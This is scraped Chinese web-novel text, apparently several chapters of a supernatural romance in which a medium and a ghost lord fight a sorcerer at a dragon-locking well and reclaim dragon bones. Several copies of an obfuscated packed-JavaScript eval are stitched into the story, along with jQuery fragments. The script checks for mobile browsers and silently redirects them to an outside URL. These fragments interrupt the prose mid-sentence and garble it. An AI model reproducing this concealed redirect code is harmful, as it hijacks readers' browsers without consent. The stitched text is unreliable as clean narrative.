$(''.inform'').remove(); $(''#content'').append('' 具空壳而已,僵尸都不算,没有任何杀伤力,可以无视。 晏清却看向角落阴影:“看了这么久,还不现身?” 掌声突兀响起,穿唐装的老者拄着蛇头杖缓步而出,“不愧是鬼君大人。” 林知夏看他身形,觉得眼熟,又很明确这张脸自己没见过。正纠结,听到耳畔宴清的提醒,“拍卖场,二楼,情蛊尸。” 反应过来:“拍卖会的情蛊尸原来是你买的!” “林小姐聪慧。”老者蛇头杖点地,“借谢九这个幌子,倒是省去我不少麻烦。” 他杖头突然射出七枚青铜钉,直取七口棺材的天枢位。晏清广袖翻卷扫落暗器,幽冥火却在触及棺材时骤然暗淡。 “锁龙棺?”林知夏扶住忽然踉跄的晏清,触手一片刺骨寒意,“你怎么样?” “无妨。”晏清鎏金瞳孔泛起血色,“倒是小瞧了这些蝼蚁。” 被说成蝼蚁,老者不为所动。他突然掀开唐装下摆,露出腰间整排的琉璃瓶。每个瓶中都浮着片带血龙鳞:“鬼君不妨猜猜,这些年我收集了多少龙气?” 林知夏看着那一排带血龙鳞,只觉得刺目,一股无名火从心口窜出,烧的她怒意高涨。 这是一个局,从始至终都是一个针对宴清的局! 但此时的她又异常冷静。 林知夏告诉自己:反派死于话多。 她一点迟疑没有,将墨玉戒抵在唇边直接吹响,清越龙吟震得老者倒退三步。趁这个间隙,她拽着晏清撞破气窗跃出地下室,身后传来老者气急败坏的怒吼。 秋雨兜头浇下,林知夏抹了把脸上的雨水:“能不能感应到龙骨?”那一排龙鳞出现的刹那,她手腕的龙骨镯,手上的墨玉戒,连同头上的龙骨簪都有了细微的感应,知道附近有龙骨,但无法定位具体位置。 晏清倚在树下,银发湿漉漉贴在颈侧:“东南方三里。” “坚持住。”林知夏咬牙背起他,桃木剑在雨幕中劈开道路,“我带你……” “娘子。”晏清忽然贴着她耳垂低笑,“为夫还没虚弱到要你保护的地步。” 他冰凉的手掌覆上她手背,幽冥火顺着相贴的皮肤游走,淋湿的衣服一并被烘干。林知夏突然发现四周雨滴悬停半空,整片街区的阴气正在向墨玉戒汇聚。 “闭眼。”晏清的气息拂过她后颈,“带你看看真正的……” 龙吟声响彻云霄的刹那,青色龙影盘桓而起。林知夏感觉自己被裹进团温暖的光晕里,再睁眼时已站在城隍庙飞檐上。而东南方三里处,建筑工地的探照灯正照亮夜空。 “那里是……”林知夏望着塔吊林立的工地,“地铁七号线施工现场?” 晏清虚虚揽着她的腰,下颌抵在她发顶:“怕吗?” “怕你散架。”林知夏有些忧虑,“那个锁龙棺……” 未完的话被突然靠近的俊颜堵在喉间。晏清鎏金瞳孔映着她骤然放大的眼眸,指尖抚过她潮湿的眼尾:“娘子这般担心,不如给为夫渡口阳气?” 林知夏耳尖瞬间烧红,正要反驳,远处工地突然传来巨响。尘烟中升起道暗金龙影,与他们周身青光产生强烈共鸣。 “是龙魂!”两人异口同声。 暴雨倾盆而下,晏清忽然将人按在飞檐兽首上。玄色衣摆与杏色薄风衣纠缠在琉璃瓦间,他指尖捏着片不知从哪变出的桂花糖:“张嘴。” 林知夏下意识含住糖块,甜香在唇齿间化开的刹那,龙影突然俯冲而下。她看见晏清唇角的笑意,也看见他眸中映着的自己。 “站稳了。”晏清揽着她跃下飞檐,“这次,换为夫带你飞。” 29. 纸人送葬(四) 暴雨冲刷着工地外围的蓝色铁皮围挡,林知夏的鞋陷进泥浆里,牛仔裤的裤角被雨水浸成了深蓝色,看上去有些狼狈。 她不让宴清给她张开结界挡雨,龙骨龙魂大概率被深埋地下,林知夏担心结界会影响她对地气的感知。 晏清说勿忧,“有为夫在,怎会找寻不着?” 林知夏耿直发言:“刚刚的锁龙棺对你多少有些影响,以防万一,淋点雨不算什么。” 宴清:“……” 宴清无奈,索性将幽冥火幻化成伞撑到林知夏头顶,至少让她上半身淋不着雨。 一人一鬼在围挡外勘察,“东南巽位,地气翻涌。”林知夏的罗盘磁针在掌心几乎要跳成残影,片刻后,她指着脚踩位置,“这底下埋着的应该是镇物。”至于是不是龙骨龙魂,不好说,磁场有些乱,干扰比较多,不好百分百下判断。 宴清玄色长衫纤尘不染,银发在探照灯下泛着冷光,像柄悬在夜色里的剑,他颔首,“我亦觉如此。” 正商量怎么挖坑,塔吊方向突然传来惊呼。几个工人连滚带爬地从基坑里逃出来,安全帽上的矿灯晃得人眼花:“蛇!全是蛇!” 晏清当即隐去了两人身形,穿过围挡,向人声方向寻去。 并指划开雨幕,幽冥火映出基坑里翻涌的蛇群。目之所及,每条蛇的七寸都钉着枚青铜钉,蛇尾处缠着一根褪色的红绸带,这些蛇在泥水里渐渐扭成诡异的七芒星阵型。 “不是蛇。”宴清眸中泛起冷意,“是地龙。” 林知夏闻言瞳孔骤缩。 地龙在风水学中指代龙脉分支,说是龙,却很凶,寻常人触之即死。 好在刚刚那些工人跑的快,没有被地龙碰到。 反手甩出三枚五帝钱钉在基坑边缘,铜钱入土的刹那,蛇群突然齐刷刷仰头看向他们,竖瞳里泛着暗金色流光,看上去怪瘆人的。 墨玉戒毫无预兆地发烫,戒面莲纹游走到她虎口位置时,林知夏感觉有股热流顺着经络窜向心口,眼前突然浮现出幻象——暴雨中的工地化作明代高高的皇城,穿飞鱼服的锦衣卫正将焦黑的龙骨钉入深井。 “锁龙井……”她喃喃出声,似打破桎梏,幻象倏地消散。腕间龙骨镯应激收紧,勒得她腕骨生疼,林知夏不确定的看向宴清,“你看到了吗?这底下是不是明代的锁龙井?” 晏清指尖扫过她沾了雨水的发梢,欣慰道,“娘子这阴阳眼,越发通透了。” 墨玉戒虽有回溯过去的能力,却不是时时可用,端看佩戴者的实力。 林知夏天生阴阳眼,灵感本就不弱,与宴清缔结婚契后,有鬼力与龙骨加持,加上和他气场相合,实力不知不觉就有了涨幅。 这种增长是无声无息的,如润物细无声,等发现时,已经融入林知夏的身体,成为她能力的一部分,密不可分。 宴清作为婚契的另一方,欣慰是发自肺腑的,毕竟这里面大部分都是他的功劳。林知夏晃了两下他的袖摆,催促,“下面到底是不是锁龙井?” 宴清:“是。” 林知夏精神大震,从刚才的幻象已经确定下面确实埋着龙骨,还是一截不小的龙骨。 只是锁龙井……有些难办。 怕就怕再上演当初屏山村的遭遇,每次回想起当时都觉得惊心动魄,她跟宴清那回全靠运气好,运气稍微差一点可能就全军覆没了。 但龙骨不取不可能。 林知夏:“寅时三刻,阴气大盛。”她掐指推算,鞋尖碾过满地淤泥也不嫌弃,“要破这地龙阵,需要先斩阵眼。要不……你后退个两百米,我破阵取骨,你等会儿见机行事?” 宴清:“娘子错了。” 林知夏:“???” “我为龙骨龙魂之主。我既来此,它们怎会不急?” 话刚说完,基坑里就炸开了冲天水柱。暗金龙影破土而出,龙吟震得塔吊钢索嗡嗡作响。林知夏也被气浪掀得倒退两步,后腰撞上摞水泥管的同时,腕间龙骨镯迸出青光将她护持下来。 晏清瞬移至她身后,衣袖卷住摇摇欲坠的脚手架:“娘子怎的这样不小心。” 林知夏反手抓住他衣襟稳住身形,焦急问,“这动静太大了,结界能张开吗?” 宴清摊手,“此处气场翁乱,地龙作祟,又有锁龙井在,为夫有心无力。” 林知夏:“…………”完了! 既然遮不住,只能速战速决。 暗金龙影在云层中翻腾,暴雨被搅成漩涡。晏清扣住林知夏执罗盘的左手,十指相扣的瞬间,幽冥火顺着两人交握的掌心直冲云霄。青龙虚影自火光中显现,与暗金龙影当空相撞,龙吟声震得方圆十里汽车警报齐鸣。 两龙相撞的刹那,暴雨在夜空中直接凝成了冰锥。林知夏的罗盘脱手飞出,黄铜磁针在泥水里转出残影,针尾凝出的水珠拼出了“井”字。 林知夏抓住飞回来的罗盘吐槽,“我知道下面是锁龙井,不用你提醒。” 罗盘不高兴的在她手里连振好几下,振得林知夏手掌都发麻了。 这祖宗! 懒得哄,干脆把罗盘收回挎包里不让它捣乱。适时,晏清揽着林知夏腾空跃起。玄色衣袖扫过脚手架,幽冥火在两人的落脚处凝成莲花台。林知夏这才看清基坑深处翻涌的并非泥水,而是泛着暗金光泽的龙气。 龙气溢出,地龙气势大盛,这些如蛇的地龙须臾间就将深处的锁龙井露了出来。 锁龙井的铸铁井栏在龙气的冲刷下浮现北斗纹路,与屏山村石牌坊下的阵纹如出一辙。晏清的鎏金瞳孔霎时泛起殷红血色! 林知夏:“………” 她发现对于锁龙井,宴清看不到还好,但凡见到,必定深恶痛绝,瞧那眼睛红的,吓得她都有点不敢吭声了。 倏而,宴清附在林知夏耳畔低声问,“娘子可愿借我三滴心头血?” 林知夏心说这时候了我肯定不能拖后腿啊!疼也要干! 她毫不犹豫扯开衣领,桃木剑尖直接抵上心口位置:“要多少都行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340565|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴清被她的豪气干云逗得唇角泛起笑意,眼中殷红逐渐褪去,鎏金色泽恢复如初。 林知夏是真的不介意给他心头血的,剑尖刺入肌肤的刹那,冷玉般的指尖拂过渗出血珠的伤口,他垂眸张嘴含住那点殷红,喉结滚动间,血液入口,龙纹顿生,自唇齿间蔓延至下颌处,仿佛在脸上做了画、有了刺青,妖冶之极。 他拂袖一挥,一股强大的气流自他手中释出,井中突然炸开冲天水柱,在天上打斗的暗金龙魂裹挟着铸铁井栏直扑而来,晏清旋身将她护在怀中,玄色长衫被龙爪撕开三道裂口,幽冥火顺着破损又将其补全。 “抱紧。”宴清单手结印,银发在狂风中缠上她的手腕,“让你见识见识真正的驭龙术。” 林知夏失了心头血脸色煞白,她环住他脖颈的瞬间,墨玉戒迸出青光。二十八宿星图自两人足下展开,晏清咬破指尖在她眉心画下蓝色龙纹,血腥气混着沉水香扑面而来:“天地为盘,龙气为子——落!” 暴雨凝成的冰锥应声钉入井口,暗金龙魂发出痛苦嘶鸣。林知夏感觉有热流自眉心灌入自己的四肢百骸,眼前再次浮现出明代锦衣卫往井中投放镇物的画面——七根青铜钉正钉在龙魂七寸! “申位!”她突然抓住晏清手腕,“那根最长的镇魂钉在申位!” 晏清轻笑:“多谢娘子提醒。”袖摆翻卷,幽冥火凝成弓箭,箭尖直指井底申位。 破空声响起刹那,暗金龙魂突然调转方向似要逃跑。林知夏心说这龙魂不行啊,竟然不认主!她示意宴清放下她,反手抽出桃木剑插入泥地:“震巽交汇,地脉当开——启!” 地气霎时翻涌如沸,铸铁井栏同时轰然炸裂,那缕不听话的龙魂直接化作流光没入墨玉戒。戒面并蒂莲纹骤然绽放,第三片花瓣在暴雨中凝实如生。 “先收龙骨。”林知夏气喘吁吁跌坐在井沿,后背贴着晏清冰凉胸膛。 晏清这次凭实力拆了锁龙井,心情大好,虽然借助了林知夏的心头血,但夫妻一体,鬼君表示何必锱铢必较。 他伸手拂过她后颈被龙气灼红的皮肤,幽冥火顺着指尖游走,将淋湿的衣物烘得干爽温热。另一只手屈指隔空一抓,一截焦黑龙骨顺利落入掌心, 林知夏正要起身,井底突然传来铁链拖曳声。眨眼间,七具裹着金箔的尸骸破土而出,每具尸骸心口都钉有青铜镇魂钉! 阴恻恻的嗓音自塔吊顶端传来。穿唐装的老者拄着蛇头杖现身,琉璃瓶中的龙鳞在雨中泛着血光:“多谢鬼君替我解开最后一道封印。” 林知夏闻言眉头微拧,老实没多久的罗盘自包中飞出,它竖立旋转,磁针在虚空拼出“傀儡”二字。 林知夏猛然醒悟:“谢九的活人傀是你做的!钱家换命局也是你……” “嘘——”老者指尖同时弹出七枚青铜钉射·入尸骸心口另一侧,尸骸立时睁开空洞眼眶,晏清冷笑一声,“凭你也配?” 林知夏:“意思是你不配跟我们家鬼君道谢。” 老者:“……” 30. 纸人送葬(五) 老者微哂,他似颇为自得,正想着面前二人定有许多疑惑等着他解时,幽冥火却突然凝成锁链直接缠住了那七具尸骸,林知夏默契的咬破舌尖将血抹在桃木剑身:“天地玄宗,万炁本根——破!” 剑光凌厉异常,径自斩断尸骸与老者之间的链接,同一时间,晏清将她推向井口:“接好!” 暗金龙魂自墨玉戒中冲天而起,先是护住她防止她摔倒,后又在触及井口阵法时堪堪停滞,好似在等待什么。林知夏没让它多等,划破掌心,任由鲜血浸透井沿北斗纹路:“以血为媒,以魂为契——收!” 龙魂的龙吟声响彻云霄,老者琉璃瓶中的龙鳞齐齐炸裂。晏清趁机并指划开虚空,幽冥火顺着暴雨烧成天罗地网! 林知夏又将雷击枣木尺插入震位地缝:“乾坤倒转,地脉重开——镇!” 二十八宿阵青光暴涨,七具尸骸在龙气中化为齑粉。老者蛇头杖寸寸断裂,暴露出杖芯的森森白骨——竟是半截龙指骨! 这一切仅发生在电光火石之间,前后真的不到一分钟,形势直接逆转,让老者应接不暇。 “原来如此。”晏清瞬移至老者身后,指尖龙纹刺入对方天灵盖,“偷来的东西,终究要还。” 凄厉惨叫声中,龙指骨化作流光没入晏清掌心。老者身躯如沙崩塌,最后竟只剩件空荡荡的唐装飘落雨中。 暴雨渐歇,林知夏脱力的跌坐在井沿。腕间龙骨镯泛起暖流,修复着她过度消耗的灵力。她望着走近的晏清,发现他玄色衣襟渗着暗金血迹:“你受伤了?” “小伤。”晏清俯身撑在她身侧,银发垂落她肩头,“倒是娘子这般狼狈……”指尖拂过她凌乱鬓发,“为夫看着心疼。” 林知夏拍开他的手,“我没事,你……” 未尽的话语湮灭在突然贴近的薄唇间。晏清鎏金瞳孔映着她骤缩的瞳孔,气息拂过她微颤的睫毛:“闭眼。” 唇瓣相贴的刹那,锁龙井突然腾起青光。残存的龙气顺着两人相触的唇涌入两人体内,林知夏惊觉指根并蒂莲纹竟顺着血脉游走到心口,与晏清眉心血印产生共鸣。 “这是……”她有点慌,身体后仰,却被扣住后脑。晏清贴着她的唇瓣低笑:“娘子方才不是说,要多少血都行?” “我那是……”林知夏突然噤声。墨玉戒中的龙魂正在欢呼雀跃,分明是感应到又一片龙骨的归位。而此刻两人周身萦绕的龙气,竟比任何时候都要浓郁。 晏清最后重重吮了下她的下嘴唇,然后直起身将她打横抱起,幽冥火在脚下凝成云梯:“此地不宜久留,回家再与娘子细说。” “你别!”林知夏挣扎着去扯他衣襟,指尖触及暗金血迹又顿住,“你的伤……” “娘子若是心疼,”晏清踏着夜风跃过工地围挡,“不妨亲自为为夫上药?” 林知夏很捉急:“咱们就这么走吗?要善后的……吧?” 宴清:“善什么后?方才地脉紊乱,此处电子设备应是全部失灵,既已失灵,自留不下影像证据,你我留下作甚。”顿了顿,“况且地龙作祟还是咱们解决的,不收钱已是仁至义尽!” 林知夏:“………………” 晨光穿透云层时,一人一鬼回到林家老宅。檐角铜铃无风自动,惊飞满树栖鸟。林知夏泡在浴缸里,盯着心口若隐若现的莲纹出神。门外传来叩击声,晏清的嗓音混着药香飘入:“娘子可需帮忙擦背?” “不需要!”林知夏将整个人埋进花瓣里,却听见屏风后传来低笑。 这鬼……自己进来了! 林知夏:“………” 玄色衣摆扫过木质地板,晏清倚着雕花槅扇把玩药瓶:“方才收服的龙骨,娘子不想看了?” 林知夏:“不是很急。”她又不是没见过龙骨,早一会晚一会有什么区别。 宴清:“若我说新得的龙骨在娘子体内……” 水声哗啦,林知夏裹着睡袍赤足踏出:“什么时候跑我身体里的?不是你收了吗?” 晏清忽然转身,将她困在屏风与胸膛之间。发梢扫过她锁骨,指尖点在她心口莲纹:“在这里。” 林知夏愣怔间,忽觉心口一烫。暗金龙影自莲纹游出,在两人之间逐渐凝成半截晶莹剔透的龙骨。晏清握着她的手抚上龙骨:“这是我的一截颈骨。” 林知夏看着眼前的漂亮龙骨,愣了一下,“我记得锁龙井取出的龙骨是焦黑色,那个老头拐里的是截腿骨,不长这样。” 宴清:“娘子忘了,刚刚你我唇齿缠绵时自锁龙井中涌入的龙气,那正是这截龙骨所化。” 林知夏:“……”林知夏眼神飘忽,“就、就贴一下,哪、哪来的缠、缠——你干嘛!?”她倏地脑袋后仰,避开差点又贴上来的薄唇,宴清瞳孔映着她瞪大的双眼,笑了,“娘子说没有缠绵,为夫只是想帮你回顾一下。” 林知夏推推他,“别闹了,先、先说正事。” 宴清一本正经,“与我来说,此就为正事。” 林知夏:“那个老头到底什么来头?从阴阳镜到拍卖会再到殡仪馆的纸人作乱都是针对你的阴谋是吗?” 宴清见她强行转移话题,两边耳尖红得仿若要滴出血来,笑一下,主动退开两步,牵着她的手绕过屏风走出浴室,一人一鬼在卧房小厅相对而坐。 他说,“大概率是针对我。” 林知夏想了想,“是跟程掌柜一伙的?” 宴清:“八九不离十罢。” 林知夏:“程掌柜背刺了他身后的人,这个背刺的人会不会是那个老头?” 宴清:“实力太差。” 林知夏沉思,在精神病院地下室时宴清虽然被锁龙棺阴了一把受了些影响,但离开锁龙棺后,老头实力显然不怎么样,她跟宴清只是出其不意一下下,老头都没来得及发光发热甚至没说出什么有用的消息就一命呜呼了。 由此可见他确实没有反派boss的逼格。 死的速度都对不起他出场时营造出的氛围感。 而且那老头明显有表演型人格的特质,一副牛气哄哄的样子,做事却很不干脆,上来不是先开打,而是想要叨叨叨,这就很没有反派的自觉了。 林知夏:“他不是买了情蛊尸?但好像没见他用蛊呀。” 宴清:“娘子以为那人像可豪掷千金的?” 林知夏:“……所以情蛊尸虽然是他买的,但出钱的可能不是他,用得也不是他。” 宴清颔首,“他与程掌柜身份地位应是半斤八两。” 林知夏:“你觉得他是什么身份?钱家跟他有什么渊源?” 宴清含笑看她,“娘子心里不是已有猜测?” 林知夏头发刚刚虽然被他烘干了,但有些不通顺,她站起来去里间拿了梳子回来,一边给自己梳头一边说,“钱辰的二叔在港城拜了名师学了一身本事,我记得那天钱辰二叔就是用的纸人替身术去的钱家祠堂,他那个名师,大概就是那个老头?” 说完眼巴巴看宴清,宴清接过她手中梳,起身踱到她身后为她梳理那一头及腰乌发,声音浅淡道,“钱家老爷子从他那双生兄弟身上夺了气运,他占尽便宜,创下豪富之家。等他也有了双生子,得到过好处的人自然想要将好处延续到下一代。钱辰二叔是钱家的下一个牺牲品,他虽身世坎坷,却是一个普通人,五感不强,身无灵骨,缘何会被名师收在门下?” 林知夏:“所以?” 宴清:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351820|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以时间线极为清晰。谢九数十年前曾为钱家第二代双生子换命,期间应发生了些事导致钱家与他关系破裂,彼时钱家有钱有势,收拾他只需花钱即可。他被钱家过河拆桥,日子定不好过,若钱家找了玄门中人收拾他,那他落魄如斯就有了解释,加上多行不义必自毙,业力反噬,疯疯癫癫已是极好下场。然则他不甘不愿,必要报仇,那老者与钱家亦有仇,他先是收下钱家弃子作为徒弟,又联合谢九,目的只有一个,将钱家断子绝孙。” 林知夏:“可谢九说他取了某人半条命,却被对方做成活人傀。那个老头看上去要比谢九厉害不少,谢九取他半条命有点困难吧?” 宴清:“娘子忘了一人。” 林知夏眨眨眼,“谁?” 宴清:“钱辰二叔张牧之。” 林知夏反应也不慢,她拍拍自己的额头,“还真是,我被绕进去了。谢九取半条命的人是张牧之,张牧之恨钱家,当然也恨动手害他的人,所以将谢九制成活人傀的就是张牧之!张牧之虽然资质不行,但他师父有真本事,他可能没办法做到独自将人制成活人傀,但如果他师父出手,那必定事半功倍,谢九压根不是张牧之师父的对手!” 谢九一会儿说报应一会儿又让钱家还债好像也不是自相矛盾。 报应是指他断人气运有错在先,还债则是钱家不做人,过河拆桥欠了他的。 还真是狗咬狗。 “那个老头跟钱家有什么恩怨这么不死不休?”林知夏仰头看站在自己身后的宴清,“他替他身后人办事对付你都不忘拉上钱家陪葬。” 宴清放下梳子,用手指顺她长发,“我杀他时看到一些残念,此人亦是钱家血脉,名唤钱雨。他虽是旁支所出,却自小长于本家,与钱辰祖父是堂兄弟,关系还颇为亲近。后两人因一女子结怨,那女子与钱雨自小定下娃娃亲,两人感情极佳,青梅竹马,钱辰祖父对那女子亦生爱慕,求之不得,索性先下手为强将那女子强行玷污,女子不堪受辱,悬梁自尽,钱雨想为女子报仇,然则他为旁支,钱辰祖父为嫡子长孙,两人身份如云泥之别,钱雨愤而出走,发誓要钱家血债血偿。他有奇遇,学得一身本事,奈何当时风云变幻,战乱不断,人命如草芥,他被迫远走港城,报仇之事一拖再拖,直至遇上张牧之。” 林知夏听得怪唏嘘的。 钱家真是罪有应得。 但一码归一码,钱雨再可怜,算计宴清死了也是活该!何况他身后还有人,这显然是团伙作案! 想到钱雨随身携带的那些龙鳞……啧,真是欺负龙没够了! 她扯他衣袖让他坐下,“你伤怎么样,没事吧?” 哪知她刚问完,他就闷哼一声,暗金血渍自唇角滑落。 林知夏:“……”我是乌鸦嘴吗?! 慌忙伸手扶住他:“你没事吧?!” 晏清顺势将下巴搁在她肩头,“疼。” 林知夏很焦急,直接扯开他的衣襟,然后被狰狞的伤口惊住! 只见宴清心口处有三道爪痕,伤口不但狰狞,还泛着黑气,这分明是锁龙井下的怨气侵蚀! 她先将鬼君大大挪到贵妃榻上,又翻出药草一边调制药膏一边埋怨,“幽冥火都压不住的伤,问你,你还说小伤!” 晏清枕着手臂看她忙碌,银发铺满绣枕:“娘子为我生气的模样真美。” 林知夏瞪他一眼,药膏重重按到伤口处,又不太确定的说,“我也不知道这个药膏对你管不管用,毕竟你现在是鬼体——” 宴清目光柔和的看着她,“无妨,可用。” 晨光透过雕花窗棂,为两人镀上一层暖绒的金边。檐下铜铃轻响,惊散梁间燕雀,却惊不散满室萦绕的沉水香。 31. 血玉镯(一) 关于谢九,关于钱家,当事人基本全灭,再去纠结是是非非已经没有意义。 这次事件虽然槽点很多,但收获是丰厚的。 三截龙骨,十三枚龙鳞,一缕龙魂与龙气若干,可以说与付出比起来,相当物超所值了。 但后续一些问题也不得不做个收尾。 首当其冲就是那间精神病院。煞气太重,阴气交汇,之前有谢九钱雨这些“有心之人”压制还能相安无事,现在他们死的死废的废,放任不管的话,不出七天,那一片必定成为活人的地狱,厉鬼的天堂。 以往遇到这种情况,林家一般会找清风观合作,道观弟子多,善做法事,又有收集阴气的业务,应对精神病院的情况,专业相当对口。 但自从南城大学人工湖事件后,林知夏跟清风观就处于某种比较微妙的状态,我知道你有问题,你也知道我知道你有问题,但只要没有当面撕破脸,那就暂时相安无事。 不是林知夏没脾气好欺负,主要是势单力薄。 她不知道清风观清不清楚宴清的存在,也不确定清风观跟幕后算计宴清的势力有没有关系,现实摆在那里,她没办法1对N,哪怕加上宴清也不行,鬼君大大说破天去,现在也是鬼身,又身份敏感,至少明面上,她是不想曝光他的。 所以导致最终结果就是只能暂时息事宁人。 还有一个选项,向天师协会求助。 但是,林知夏首先就将这个选项pass了。凡事牵扯到官方就很麻烦,要走正规程序,就要接受官方的调查和问询,这牵扯的就多了,而且林家一直以业内翘楚自居,一直瞧不上官方的天师协会,林家与天师协会的关系其实也挺微妙的,三叔公活着时,对天师协会的蔑视就不说了,反正得罪人不少。 现在林家就剩她自己,几位师兄之前既然被三叔公逐出家门,她也没脸再将他们找回来。师兄们在外面都已经混出人样了,她哪好意思捡现成的让人家回来给林家当牛做马。 现在的林家不是以前的林家了。林知夏以前天真的认为自己可以撑起这个家,将林家重新带入以往的辉煌。但现在经历的多了,知道的家族秘辛也多了,她就没那个雄心壮志了,林家……在她有生之年可以消除全部业力,能帮宴清重塑·肉·身,重新化茧成龙,那她就对得起林家给她的这条命了。 所以,排除向他人求助的可能,林知夏所能依靠的依然只有宴清。劳烦一个伤患怪不好意思的,但没办法,她自己真的搞不定。 当天晚上,两人驱车重回老城区的这间精神病院,她也想亲自去看看谢九是否还活着。 事实是,他死了,没有奇迹发生。 林知夏不可怜他,他死,是罪有应得,就是有些唏嘘,看到他,就像看到现在的林家。林家曾因弑龙声名鹊起,辉煌数百年,现在,也因为过去的所作所为,人丁凋零,几近灭族。 天地有灵,善恶有报。人,终将为自己做过的恶事付出相应的代价,没有例外。 宴清解决事情的方式依然简单粗暴,他第一次挥袖,张开结界,第二次挥袖,幽冥火如窜天巨龙从上到下熊熊燃烧起来,不放过一草一木,一砖一瓦,包括那个用来养煞的喷泉。耳边似有凄厉的哀嚎传来,幽冥火可烧尽世间所有污秽,既然不能走超度这条路,用幽冥火绝对是不二之选。 方便,便捷,前后不到十分钟,高楼消失不见,连渣滓都不剩,只余一块荒地,真正意义上的空空荡荡,什么都没有。林知夏觉得这件事可能成为城市怪谈,但管它呢,她跟宴清从离开家门就一直处于隐身状态,监控什么的根本拍不到他们。 就算官方下场查,总得有证据,没证据只怀疑等于脱裤子放屁。 *** 晨雾漫过老宅檐角的铜铃,林知夏端着药碗穿过回廊,见晏清还在树下跟罗盘较着劲,不由无奈。 他此时没有隐身,是实体状态,坐在石凳上,长衫袖口不免被晨露浸湿,银发尾梢沾着两片枯叶,瞳孔映着磁针乱转的天池,显出几分与鬼君身份不相符的孩子气。 “别折腾它了,”把青瓷药碗搁在石桌上,林知夏指尖拂过罗盘边缘的岁月痕迹,“上个月刚用朱砂温养过,磁针不听话是地脉不稳的缘故,和它本身没关系。” 晏清屈指轻弹盘面,轻笑一声,“怎么无关,它这是闹脾气呢。”说着将罗盘往她跟前一推,“娘子哄吧。” 林知夏诧异:“闹脾气?”她刚要伸手,罗盘直接跃起躲开不让碰,不让碰就算了,它还不是真的跑,就她抓它躲,她不抓了它再晃悠着飞回来,这架势,还真像个闹了脾气的小孩子。 林知夏目光投向鬼君,“它怎么了?”昨天干架的时候还好好的,一回到老宅磁针就一直转啊转,转的林知夏以为家里风水局又出问题了。吓得前前后后排查好几遍,确定是虚惊一场才放了心,她心里认定是地脉不稳的缘故,宴清却觉得不是,所以一大早她去煮药,他就要过罗盘研究。 宴清:“大概与你体内龙骨有关。”见林知夏疑惑,就解释道,“罗盘为林家祖传之物,它有灵识,非死物,林家与我有仇,它自然沆瀣一气对我不喜。” 林知夏:“我身上戴的首饰都是龙骨做的。”也没见它闹腾。 宴清:“配饰为身外物,与龙骨入体怎可等同。”顿了顿,“不过它虽有灵识,脑子却笨得很,分不清好赖,你此次失了心头血缘何能活蹦乱跳,不正是我那七寸颈骨的功劳为滋补养身。” 正在晃悠来晃悠去的罗盘突然停在半空不动了,林知夏好笑的看眼鬼君,走过去伸手将罗盘收回手中,安抚的拍拍它,瞥见晏清唇角未擦净的药渍,关切的问,“伤处怎么样,还疼吗?” “娘子这般关切,”晏清忽然倾身凑近,发梢扫过她的手背,语气幽幽,“不若再渡我口阳气帮帮我?” 林知夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358059|166151||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没忍住翻个白眼,抄起药碗怼到他唇边:“你还是先把药喝完吧。” 药汁将将灌完,手机来了电话,是殡仪馆的王经理,刚接通就听他在那边咋呼,“林、林大师,救命啊!” *** 城西殡仪馆的玻璃幕墙爬满蛛网状裂痕,林知夏踏着满地碎玻璃走进停尸间时,正撞见三具纸人抬着棺材机械的挪动步伐。金箔裱糊的四肢关节发出令人牙酸的咯吱声,腮红晕染的嘴角裂到耳根,看上去确实挺渗人的。 林知夏看到这玩意儿就烦,甩出墨斗线缠住棺材,转头问瑟瑟发抖的王经理,“除了这几个纸人,把从谢九那里买到的所有纸人都找出来。” 王经理攥着串开光佛珠紧张的咽了咽口水:“就、就剩这三个了,之前的那些有问题的都让您给烧了,这三个纸人之前好好的,突然间就活了,吓死个人!” 林知夏:“以后别贪小便宜,贪小便宜吃大亏的道理不用我多说王经理也该明白。” 王经理擦擦头上的冷汗,“林、林大师,真、真是谢瘸子搞我啊?” 林知夏高深莫测的看他一眼,“王经理还是不知道比较好,生意人少沾是非。” 宴清在她耳畔道,“此人抠搜,爱占小便宜,活该有这一劫。”林知夏对此表示赞同,那帮人从陈老板的阴阳镜开始布局,谢九的纸人不是只卖给王经理一家,陈老板也不是只有这一个做类似生意的亲友,为什么挑中他,没因哪来的果,必定是王老板贪心不足,过界了。 王经理讪讪,连连表示以后再也不贪小便宜了。 至此,整件事暂时告一段落。 至于以后幕后之人还会不会冒头挑事,林知夏跟宴清都觉得兵来将挡水来土掩,无所谓,见招拆招就是。 反正,他们总是被动的。 *** 